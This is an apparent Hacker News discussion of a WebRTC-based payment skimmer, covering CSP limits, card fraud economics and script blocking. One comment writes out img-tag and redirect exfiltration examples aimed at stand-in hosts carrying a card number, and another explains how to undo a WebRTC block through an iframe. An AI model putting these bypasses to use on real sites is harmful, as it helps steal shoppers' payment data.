626 points · by scanr · 1w ago · 393 comments
No reason this approach couldn’t be taken with simple HTTP requests. If you’re embedding third party scripts on your site you’re always vulnerable.
Some background and screenshots here: https://httptoolkit.com/blog/decentralized-web-webrtc-debugg.... I'm the author.
When you launch an intercepted Chromium there, it injects a browser extension which hooks webrtc and redirects all connections through a MITM for debugging & rewriting. Only works with bare chromium not chrome nowadays, as Chrome looks down extension setup far more tightly unfortunately (for quite good reasons, but mildly inconvenient for dev).
All open source, backend is also usable standalone: https://github.com/httptoolkit/mockrtc
If an attacker is able to inject/modify an existing script file (or add allowed script files for ads), CSP can't help (unless you're using hashes, but those can be brittle).
Preventing exfil is very hard with CSP. Any "real world" policy will have need to require open'ish directives (img-src https:, etc), which will allow trivial exfil (<img src='https://exil.com?cc=1234'</>). Redirects (window.location = "https://exfil.com?cc=1234") also go around CSP. There's many CTF challenges related to these bypasses.
WebRTC is particularly difficult to stop too, and the webrtc directive isn't widely adopted yet. It's commonly used as a global CSP bypass since it doens't call under connect-src (and can't). * https://www.youtube.com/watch?v=sAmJ3Ypbosw
So this needs to be stopped at the injection point.
(edit: I guess one could argue for monitoring with report-hash, but it seems unlikey for companies to detect and read every change to 3rd party scripts).
(Founder of csper.io)
That is not a normal thing to need. A few specific sorts of sites may warrant it (probably only from deliberately allowing user-generated content to embed remote images, and probably only for historical reasons), but loading images from arbitrary sites is a very bad smell.
> On every page that takes payment, set a connect-src rule that lists only the hosts you use.
(Though you should really be setting a default-src that only lists `self`.)
No one likes it when I say this, but don't use a smart phone for anything whatsoever.
The average mind here is living in a tech-bubble surrounded by tech-bubble living friends. Some don't understand the normies way of life basically thinks of mobile technology like any other simple commodity product, but is required to live a normal 1st/2nd world life. A refrigerator, a washer and dryer, etc...
As much as it pains me to say, this feat of handing highly advanced and equally dangerous mobile technology to normal people at mass is mainly because of Apples approach to designing advanced technology. Simple as possible that a child or senior can pick it up and use it within minutes to a day without any professional training in most cases.
The MoQ people are annoying, but in one respect they are right, and that is that having browsers have channels of communication outside of the usually expected HTTP is a recipe for trouble.
P2P does things like exposes both participants IP straight to the other which are not desirable in the modern world. (Also the amount of networking metadata generated during connection negotiation is terrifying).
Once you're over those then the entire P2P side of the API looks like an anti feature. (But I am strongly in the camp of believing we need better unreliable network protocol support within HTTP channels).
There's no reason a non-conferencing site should need webrtc, so it should only be available if asked for. Probably same for many other technologies that trade security for convenience, or bring desktop integration tech into web browsers.
I believe catering to people with no technical ability is a big reason we have technically illiterate young people.
I’m happy to have a browser extension for the one single site I ever do video conferencing on, the other sites shouldn’t even be able to bother me with a permission dialog. Same goes with the web USB and Bluetooth specs, and 90% of the other web “standards” that are essentially Google protocols they try to pretend are standard.
I suspect that the people who could change this are more interested in continued treatment than cure. They like being the arbiters of which transactions get reversed. It let's them justify their otherwise parasitic position.
This is one of the actual things cryptocurrency payments get right (ignoring other problems)
Because with problems like these I struggle to see how asymmetric crypto is such a killer app. Could asymmetric crypto be introduced to traditional ecommerce without the dead weight of crypto currency implementations?
All we have to do is disable the ability to make payments in a way that ignores those protections (i.e. by copying numbers printed on the card into a text box). And then add enough NFC readers in the right places so that nobody is left out by no longer having the ability to pay via manually copying numbers.
We could find a way to preserve the ability to pay by email or some other text medium, but what gets passed around is a digital signature, not a symmetric key, so there's no incentive to secretly make a copy.
One time, I couldn’t receive the 2FA code, so had to try a different card until I didn’t need such a code. Two of the other three times I can recall, the entire transaction was declined before I received the code. One I was able to try again after submitting the code. The other time I simply abandoned the transaction.
https://stripe.com/blog/surprising-findings-from-our-analysi...
> Our analysis suggests that issuers in the US perceived transactions requesting 3DS to be particularly high-risk, often declining these transactions more aggressively rather than putting US users through an unfamiliar 3DS challenge flow.
Long ago, I had payment denied for an in-person transaction, after which my card was locked for any purpose, and I had to make a phone call to Bank of America to (1) process the original transaction and (2) unlock my card. The in-person transaction was in China, which I guess freaked out their system.
But having done that once, I never had a problem in China again. I opened the Capital One account mainly so that I could use it in China ("no foreign transaction fee", though in fact the foreign transaction fee is a very reliable 1%), and it didn't even raise an objection the first time like BofA did.
> I suspect that the people who could change this are more interested in continued treatment than cure.
There is no cabal. It's game theory all the way down: Whoever unilaterally trades off some convenience for a little bit of security will lose out to their competitors.
Regulators could fix it by mandating security (and thereby keeping the playing field level), in the way that e.g. the EU largely solved this problem (at least for intra-EU payments; unfortunately compromised EU cards can still be readily used at US online merchants), but I have a feeling that in the US, there isn't really political will for that. Too many stakeholders are benefiting from the status quo in one way or another.
I think it's rather a collective action problem: If all issuers were to make card payments just a little bit more secure (and in the process less convenient too), consumers would have no choice but adapt. But since it's in each issuer's individual interest to keep that dial just a liiitle bit more to the "convenient but insecure" position than their competitors, the only equilibrium ends up being everybody approving as much fraud as they can accept. A very similar consideration applies on the merchant side.
Unregulated markets do often produce optimal solutions, but that doesn't mean that literally every solution they produce is also optimal.
That varies by individual of course but we're talking about consumers as a group here.
The only possible way to get zero fraud is to have zero transactions. Anything else requires you accept some probability of fraud, and then it's just luck of the draw whether you allow a fraudulent transaction or not.
The consumer is who pays the price no matter what, so the sweet spot that is ideal for the provider is likely ideal for the consumer too.
Settlement is the process by which Bank A with your money, or possibly your debt if it's a credit card, gives money to Bank B representing a merchant where ostensibly you paid with the payment card.
Settlement is basically still the same "Honour System" process as it was last century, it's probably no longer literally magnetic tapes or punched cards, but cryptography has no real role here. Because this relies on that Honour System, mere accidents can result in transactions which should not exist. At a societal level e.g. a big bank mistakenly runs MAIN1 MAIN2 MAIN2 MAIN4 files through their settlement process one night, and the next morning people whose transactions were in MAIN2 realise they've been charged twice! Meanwhile retailers relying on MAIN3 being processed are distraught to find that magically they got nothing. Oops, fat finger. e.g.
https://www.bbc.co.uk/news/uk-england-45400234 https://www.bbc.co.uk/news/business-41061781
Authorization is the step where there's something resembling modern security. This step is there to protect Banks and Merchants from Customers, who they don't trust as far as they could throw you. Although Banks and Merchants are so often involved in fraud, they both love blaming Customers and so hence they require Authorization. The EMV technology (most familiar as "Chip and PIN" but the same technology makes Contactless including paying with your iPhone work in most countries) is the most "high tech" this ever got.
EMV could be fairly good. It's not really well designed, crypto people have found some serious holes in it, but they're at the scale of "Skilled people could break this" or "This is needlessly worse than it should be" not at the "A bored teenager can steal your money" level where the magnetic stripes were. However, the bank cares a lot about price, a best-in-class EMV card might cost $1 more, if it reduces the bank's fraud costs by 50 cents they are losing money on that, so the crap EMV card they gave you is the right choice for their bottom line even if you also lose on average $2.50 from the fraud, the bank doesn't care about you, your benefit does not appear on their bottom line.
Understanding, as so often, Cui Bono (who benefits) from Authorization clarifies where the incentives are.
Also, the idea that "better EMV cards yield better security" is outdated by at least a decade and was only really relevant before ubiquitous online transaction authorization (at which point both "cheap" and "expensive" EMV cards can be verified for being clones). These days, essentially all cards support asymmetric cryptography, i.e. are the "expensive type of card", and are secure against clones even when the terminal is offline (assuming the issuer even wants to support that type of transaction, since it involves some risk to them).
The main difference is whether they support a PIN or whether a signature is sufficient, but that's mainly driven by market considerations, not individual issuers' fraud tradeoffs.
The last time I spent any time researching this, which is a good number of years ago, some issuers had definitely switched to DDA ("expensive") and back, seemingly because of PR. That is, incidents of fraud cause media coverage => new cards are DDA, fraud epidemic subsides => back to SDA, fraud rises again, but this time it gets no coverage because we already covered that story.
Perhaps the chips got so cheap it doesn't make any sense to distinguish now, which would be good.
EMV is a symmetric key system at its core, since asymmetric cryptography capabilities were prohibitively expensive to implement in smartcards when it was originally introduced.
But whether or not we agree about how we might restructure the bigger picture, at some point somebody has to say yes or no to a candidate transaction, somebody whose answer makes it a real transaction. It seems very obvious to me that:
1. that person should be a party to the transaction, not a middle man
2. The secret they use to do so should not leave their device. (A modern credit card is a device, complete with an OS and a secure enclave for keys)
Well, that's trivial. They make it easier to transact.
In both worlds, the problem is who a site owner decides to grant access to your shopping session, not the fact that access can be granted at all. Or how would you ban them from e.g. insecurely transmitting your card data to their payment service processor on their backend? You just wouldn't see it.
> deliver just data and my browser decides what to do with it
Code is data and your browser decides to execute it. A toy example, but HTML+CSS is Turing complete. The problem thus isn't that it's "code", but rather that it's not properly sandboxed.
> my shop browser decides how to operate with the catalogue in a way I want
Are you making a case for built-in components for e.g. sorting and filtering and what have you? To me that's just way more clunky than having an actual programming language. Even PDF, a static document format with no real user interaction, has a programming language (PostScript) embedded.
So in my view, the problem with JS isn't the features of the language itself, rather that the standard library has too much power, to make requests and access your microphone and stuff like that.
But even then, people want to use their computer to do video calls, and whatnot. And I for one much prefer using Zoom or Teams or such in the web app, instead of downloading the app version. Precisely because the web app is more tightly sandboxed.
PDFs are (usually) static pages in a fixed paper format, so they should only display stuff, not do calculations. Same for most web content anyone ever wants to visit (excluding games, demos, actual apps, etc).
If you want a real-world example, a food processor is clearly way more dangerous than a TI84. The danger lies in the sharp knives, not in the computing power. That's how I feel when people blame JS's status as a programming language, for things that are rather due to its access to network requests, etc.
> PDFs are (usually) static pages in a fixed paper format, so they should only display stuff, not do calculations.
My point is that even for just displaying stuff, it's convenient to have some degree of computation. Look up Kolmogorov complexity. If you've ever used LaTeX, you know how useful it is to have macro expansion in your document format.
Or consider a CAD program. That's "just" used to design 3D models, circuits, etc., all completely static. Would you agree that it's more useful to support computation such as "place this line 5cm from that" or "repeat this shape 3 times", than to just have your file format be a static list of coordinates?
Does that illustrate to you why computation is useful? I'm not saying Turing completeness is required, but it's hard to avoid once you support a quite small level of computational expressivity, and there's no real reason to trying to limit it.
(Unless you want to prove things about your program, but that's another discussion.)
I'd take more clunky over what we have any day of the week.
>Even PDF, a static document format with no real user interaction, has a programming language (PostScript) embedded.
Given the millions of PDF exploits, that's likely the worst example one could give in support of this.
Like yes designing a generalized shopping experience is possible. It is also going to limit the long tail of features OR become such a huge and bloated spec that it will make things way worse. Imagine Temu but for all the shops.
Besides, doesn’t your browser and OS come from some third party? How much do you trust them to be bug and backdoor free? Or do you have your own browser and OS that you know for sure can do all this and you have verified?
They weren't saying websites should be completely static, just maybe they shouldn't run attacker-controlled code.
You'd still have to trust the hardware, OS, browser, and now an LLM too, but that threat model could be preferable to running arbitrary (especially 3rd party) Javascript.
Is this supposed to be a generally applicable example, or that we should base the design of web commerce moving trillions of dollars to the needs of such niche areas?
Let's do "limit the long tail of features" for 80% of things that don't need it, so that my grandma can buy sweaters without needed a degree in cybersecurity.
We can have a special laxer renderer for that that comes up with red blinking alerts when you visit those pages.
Nothing about an example like custom engraving requires the current everything-available web model anyway. As an example we have remotely rendered 3d gaming GeForce NOW, xCloud, etc. We surely can support something like placing an engraving text on a product.
>How to avoid discounts based on item combinations that are store-specific? Is your browser smart enough to do complex searches and filters for things like photo gear where some values have ranges?
You know we can have server side logic since the 90s, right?
wut??????
In an earlier company, one of the C-level guys got a new notebook, it was more or less naked, only with MS Word etc. - the guy was used to a distinct Browser Extension that he used on the old notebook and also at home.
Since this extension was missing, he tried to download it from the internet - unfortunately, Google search send him to a compromised malware version of that plugin, instead of the original website.
He was close to loose around 500k for the company as his notebook got infiltrated due to a phishing attack, only his other colleague (the second four-eye-pair) was curious enough to investigate before transferring the money.
(I can't tell how much I'm joking here.)
Seriously though, why would a business worry about accountability when no similar business has ever been held accountable?
This is not in any way an endorsement of ads that do illegal things like stealing credit card numbers, which obviously remain illegal and should be punished appropriately. It shouldn't even be necessary to say this, but I sense in this thread and others a willingness to conflate the legitimate evil of ads that plainly break the law with the mere annoyingness of having to watch regular law-abiding ads at all.
Sites everywhere are fat with JavaScript doing all sorts of unnecessary things. Why trust anyone's JavaScript at all?
Everything should be API first and ship with a JavaScript less default. Your local AI agent who you engineer your trust model around builds any desired runtime scripting for you at runtime, dynamically the first time and iteratively tuned to you thereafter. For many sites you won't care and will accept defaults or a buddy's template.
We need legislation to enforce API only access to any public website. Any public frontend must be rebuildable with data from a public API.
The problem with AI is the incentives of people shoving JavaScript in your face (or useless exposition when trying to divine a Thanksgiving recipe vs the ease of AI mode, for instance) undermine the promise of the entire AI technology - every frontend for every person can be entirely unique and yet entirely coherent. No gatekeepers. Instead of ads send a microtransaction if need be to every API, or the government can subsidize.
Focusing on ads is missing the point. The real issue is your client running scripts you did not explicitly ask or delegate it to. The entire Internet is adversarial in this way, not because of ads but because people expect access and no one wants to pay for anything. People who block ads simply contribute to this problem, they don't offer a solution.
AI offers a way out. AI belongs to all of us given its broad corpus. Let it be the client and leave government or some regulated utility as little more than the clearing house.
Why this would be controversial I don't know. It would iterate on results. AI is fairly reliable for simple tasks at this point. Most front ends fall well within this category. The problem with software is the misaligned incentives, not AI hallucinations. When it comes to prompt injection attacks, that will have to be engineered around, just as the browser already engineers around a whole suite of dangers before any JavaScript ever runs.
But we have to get to the point first where the adversarial incentives are eliminated. The fundamental tension is not technical at all, but political - no one wants to pay for anything, rent seeking behaviors are encouraged. Everyone wants ease and expects someone else to pay the cost. Meanwhile a handful of people whose behavior resembles that of sociopaths horde wealth derived from the commons.
Instead of a 2028 backlash that seeks to demonize AI the correct answer would be changing the economic model so that rather than becoming an even more insidious ad delivery mechanism it ends the prevailing model entirely, which is not desirable to begin with anyway.
This is the most parochial and regulation-brained statement I've ever seen.
Not even a very convincing insult. "Most parochial" seems an odd word choice for such a sweeping proposal. Perhaps you mean to imply I really am so small minded. There is some great obvious consequence looming which I have not foreseen?
Seems ungenerous of you to not elaborate. The contents of your mind are so vast, mine so small? Care to make a point then? Or is expressing comfort in your own voluminousness your only purpose here? Perhaps you will even find we have cause to agree, if you could but manage to lower yourself to what must be the great indignity of having to actually explain the great intricacies of your mind to such a counterpart as I. Give it a try though? Let's see if you can manage it.
You can declare that your own site is only going to run static image ads but then you lock yourself out of all ad marketplaces, which require arbitrary JavaScript, so how are you going to actually get ads.
When in reality the damage caused to any one user is effectively the cost incurred of using a credit card, which is close enough to zero that enforcing a penalty is more costly than not.
Credit card service providers don’t make a lot of money from any one particular card user from card transactions, some small single digit percent minus costs. Most cards used have zero annual fee, interest charges aren’t money made from transactions, rather that’s the price of providing unsecured credit.
The cost to the user is the inconvenience of reporting, or otherwise detecting, the fraud, then waiting for a new card. The time cost to me the last time this happened was about three minutes, and the new (digital) card was ready to use immediately.
Unless you’re comfortable with imposing punitive fines and expect that cost won’t be passed on to the user. Which is a very optimistic take.
Or: there is liability, just that it’s already borne by the card providers. The card user is indemnified.
We just never moved past the 1980s mindset of computers being mysterious black boxes.
Imagine if pharmaceutical companies knowingly purchased ingredients from suppliers that were known to randomly include toxic materials in their product.
Would we hold everyone in the chain completely blameless?
It is unclear to my why the Internet would somehow immune to monetisation, organised crime, and the worst tendencies of human nature.
Because we can see that by any measure, it is not immune.
Therefore Google Adsense is indistinguishable from a malware company, even if they didn't set out to be.
I don't understand why these people are not in prison.
At auction it's only the sleeziest bidders who bid on blank profiles.
This is why when you turn off ad-block to "see what it's like" it's all the worst stuff. Nobody wants to pay to show you their ad, they already know you don't look at ads.
Google doesn't care much either because they too know you don't do ads. So they'll take the $0.00001 and not worry much about how the internet looks for people using ad block anyway.
Last earnings call "search" wasnt mentioned that often as AI, if I remember correctly: So they search business may die already slowly.
If you’re actual concern is security or privacy, then block all JS, especially 3P JS but even 1P too, and allow it only as needed. If you use ublock origin, it’s very straight forward to do and manager per domain.
We all have our threat models, but I can guarantee you that simply installing uBlock Origin on a non-technical persons' PC will go much, much further than install an anti-virus towards securing their PC.
And FWIW I do use NoScript to block all third party scripts (and I used to block first party scripts).
Again, if you don't do some create redefining of "committing crimes" as "well, they noted down the profile of the person who answered the door, a quick survey of everything they could see and hear in the house, conducted a quick psychological assessment on the personality of the person answering and determined that they are more likely to buy a toilet plunger in the next 2 months" and that's a crime.
They each have a place, but to compare blocking ads to a "no solicitations sign" is inaccurate. We'll reserve that for the DNT header field.
If there’s a social contract being broken, it’s the ad networks, not the ad blockers in the wrong at the moment.
Let them clean up their act, and start rebuilding trust and the balance might change.
No serious person is sanctimonious about ad blockers.
In your analogy, I put the sign in front of my house because fuck you, that’s why.
Same with my web browser.
In many jurisdictions, it is illegal to do so, and companies whose door-to-door salespeople do that can get fined. Report them.
Fun fact: Google will no longer let you search if you have javascript off.
However, even if, sure. You might allow (or need or want) google.com domain to run JS, but that doesn't mean all the world wide web gets the same escalation of privileges. That sounds insane to me.
It is safe to ignore self interest pretending to talk about morality.
Does the existence of bad instances of X likewise justify blanket treatment of all instances of X?
If it doesn't generalise in this way, what specifics justify it in this case?
Unless the site just forgot to add Web RTC in their connect-src CSP?
In which case it's not about WebRTC, it's about the site owner not securing their website.
I just tried, and you cannot block it reliably. Even window.RTCPeerConnection = undefined can be undone, you can create an iframe and set it back to iframe.contentWindow.RTCPeerConnection.
Thanks for the heads up.
- “Altered Quorum* marketing pixel”
- “Edited Seers† cookie-banner setting”
- “Altered file on Revolve's own CDN”
The former two might be blocked by an ad blocker or JS blocker; the latter sounds trickier when the script comes from the vendor’s own compromised site.
I'm guessing conversion is higher when there is no redirect flow, so the sales team won the battle with the security teams?
Since they did that I pay by credit card physically when they deliver, which means they have to bring the card reader with them.
Worse still, they used to do this right and then changed it. They also used to offer Apple Pay and then removed it as a payment option. Talk about regression.
For months (years?) now when I buy something on a web site the payment process tickles the bank's app on my phone and I have to confirm the purchase in that app, so you can't meaningfully "steal" or "skim" that step. The app was designed by somebody who has apparently at least skim read a book about UX, and I rarely scream and want to throw my phone at a wall while using it unlike those old web sites.
If I'm buying a $10 Christmas bauble on MyFunXmasGifts.present or whatever stupid URL and then my phone wants a confirmation for a $50 UberEats transaction, that's a "No" and you just got yourself flagged for attempted fraud.
I wonder how many people this works for though.
Interestingly, the legitimate transaction went through.
No idea what triggered the fraud management system.
Not the greatest UX (can't pay with a card on a plane for example), but this does entirely solve skimming problem.
I feel like this should become a checkbox on MDN: debugger tools exist without adding console.log.
Shopify tightened its App Store and even made it harder to install custom apps because of this very issue. My solution is to just ship an agent with each SaaS and it can ask it to add any feature. Maybe my App Store will just be skill files you feed to your agent.
Further side tangent: I got a project banned for using the Web Audio API to add music, but then I realized that KA has built in audio samples. One of those samples has a pure note at the end, so by changing the amplitude, playback speed, and sample location, I could play arbitrary tunes. I was pretty proud of that!
I have a dns blocker that blocks domains created in the last 14 days but that wouldn't have caught an AWS hosted script, and I'm not always vigilant wrt the virtual ccs.
On some browsers, you can disable WebRTC entirely. While that may keep you safe from this specific issue, a different exploit would very likely work. And WebRTC is on for a reason, lots of legitimate services use it.
Manually inspecting requests using most tools won't see this- WebRTC uses UDP/DTLS, which doesn't appear in DevTools networking tab or an HTTP debugging proxy. Unless you go full Wireshark, you'll miss this- and even then, you'll see encrypted UDP traffic to some IP, not a clear red flag. And if you're going to go full Wireshark every purchase- easier to use a virtual card.
Even your DNS blocker- while helpful- probably won't help if the script hard-codes an IP address, or like you mentioned, uses an established CDN.
(Virtual CVV numbers are locked to first user)
> Worth noting that this isn’t really anything to do with the technical capabilities of WebRTC, it’s just that it’s less frequently monitored for nefarious behavior. Same reason they’re only targeting mobile devices: harder to detect.
Can browser vendors explain the motivation here?
https://addons.mozilla.org/en-US/firefox/addon/happy-bonobo-...
https://addons.mozilla.org/en-US/firefox/addon/webrtc-contro...
I would like Firefox to expose a per site scoped API like for camera and audio access.
Finally, the millennial habit of making certain purchase from a desktop computer only pays off.
I am actually curious why this specifically targets small screens though. Are mobile browsers more likely to allow the WebRTC connection? Or is this just to bypass vendor testing.
Every time I have to do it, it's under protest, and it gets increasingly irritating with time. My partner is tired of hearing me complain about it but I can't help myself.
20 years ago everyone knew not to open and execute any program sent to you by someone you don't know. Or even someone you do. Now this wisdom has been lost and even flipped on it's head.
I kid because I loathe.
Why would those features need to be enabled in an e-commerce checkout cart?
I really want to redesign their landing page.
I nominally put a lot of trust in KVM to isolate guests, but if we can’t isolate web contexts from one another, what hope can we have for whole simulated CPUs?